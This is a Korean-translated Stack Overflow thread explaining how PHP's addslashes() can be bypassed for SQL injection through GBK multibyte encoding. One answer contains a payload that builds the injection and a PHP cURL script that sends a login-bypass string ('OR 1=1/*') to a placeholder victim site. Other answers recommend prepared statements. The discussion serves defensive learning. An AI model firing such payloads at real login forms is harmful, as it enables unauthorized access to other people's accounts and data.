복붙노트

addslashes ()를 통한 SQL 삽입 예제?

PHP

addslashes ()를 통한 SQL 삽입 예제?

PHP에서, mysql_real_escape은 addslashes를 사용하는 것보다 훨씬 안전하다는 것을 알고 있습니다. 그러나, addslashes가 SQL Injection을 발생시키는 상황을 발견 할 수 없었습니다.

누구든지 몇 가지 예를들 수 있습니까?

해결법

  1. ==============================

    1.음, 여기에 원하는 기사가 있습니다.

    음, 여기에 원하는 기사가 있습니다.

    기본적으로 공격이 작동하는 방식은 addslashes ()가 유효한 멀티 바이트 시퀀스의 일부로 백 슬래시가 의미를 잃어 버리는 멀티 바이트 문자의 중간에 백 슬래시를 넣는 것입니다.

    기사의 일반적인주의 사항 :

  2. ==============================

    2.Chris Shiflett는 데이터베이스에서 GBK 인코딩을 사용할 때이를 시도해 볼 때 위의 예를 통해 명확하게 설명합니다. 비록 그것을 시도해 보아도 SQL 주입 기회는 매우 적지 만 좋은 지식과 능력을 가진 사람은 쉽게 주입 할 수 있습니다. 여기 예제가 있습니다 ...

    Chris Shiflett는 데이터베이스에서 GBK 인코딩을 사용할 때이를 시도해 볼 때 위의 예를 통해 명확하게 설명합니다. 비록 그것을 시도해 보아도 SQL 주입 기회는 매우 적지 만 좋은 지식과 능력을 가진 사람은 쉽게 주입 할 수 있습니다. 여기 예제가 있습니다 ...

    <?php 
    
           $mysql = array();
           $db = mysqli_init();
           $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
    
           /* SQL Injection Example */
    
           $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
           $_POST['password'] = 'guess';
    
           $mysql['username'] = addslashes($_POST['username']);
           $mysql['password'] = addslashes($_POST['password']);
    
           $sql = "SELECT * FROM   users
                   WHERE username = '{$mysql['username']}'
                   AND password = '{$mysql['password']}'";
    
           $result = $db->query($sql);
    
           if ($result->num_rows) {
                  /* Success */
           } else {
                  /* Failure */
           }
    
    ?>
    

    addslashes () 또는 magic_quotes_gpc의 사용은 일반적으로 다소 안전한 것으로 간주되지만 GBK를 사용하면 거의 쓸모 없게됩니다. 다음 PHP cURL 스크립트를 사용하면 주사를 사용할 수 있습니다.이 도움말이 도움이되기를 바랍니다.

    <?php
    
           $url     = "http://www.victimsite.com/login.php";
           $ref     = "http://www.victimsite.com/index.php";
           $session = "PHPSESSID=abcdef01234567890abcdef01";
    
           $ch      = curl_init();
    
           curl_setopt( $ch, CURLOPT_URL,            $url     );
           curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
           curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
           curl_setopt( $ch, CURLOPT_COOKIE,         $session );
           curl_setopt( $ch, CURLOPT_POST,           TRUE     );
           curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                     "OR 1=1/*&submit=1" );
    
           $data = curl_exec( $ch );
    
           print( $data );
           curl_close( $ch );
     ?>
    
  3. ==============================

    3.여기에 답변의 독자를위한 추가 사항 :이 MySQL 버그는 이미 수정되었습니다 :)

    여기에 답변의 독자를위한 추가 사항 :이 MySQL 버그는 이미 수정되었습니다 :)

    또한 준비된 문장을 사용하는 것이 항상 좋은 습관입니다. 쿼리를 실행할 수있는 가장 악용되지 않는 방법입니다 (여러 가지 사용 사례에서 가장 많이 사용하는 경우). 그리고 그것은 당신을이 결함으로부터 구해 냈을 것입니다.

  4. ==============================

    4.mysql_real_escape_string ()과 Prepared Statements는 mysql_real_escape_string ()이 100 % 안전하지 않다는 것을 명확히 설명한다.

    mysql_real_escape_string ()과 Prepared Statements는 mysql_real_escape_string ()이 100 % 안전하지 않다는 것을 명확히 설명한다.

    mysql_set_charset ( 'GBK')를 사용하여 mysql_query ( "SET CHARACTER SET 'GBK'")를 대체하면 mysql_real_escape_string ()은 100 % 안전 할 수있다.

  5. from https://stackoverflow.com/questions/860954/examples-of-sql-injections-through-addslashes by cc-by-sa and MIT license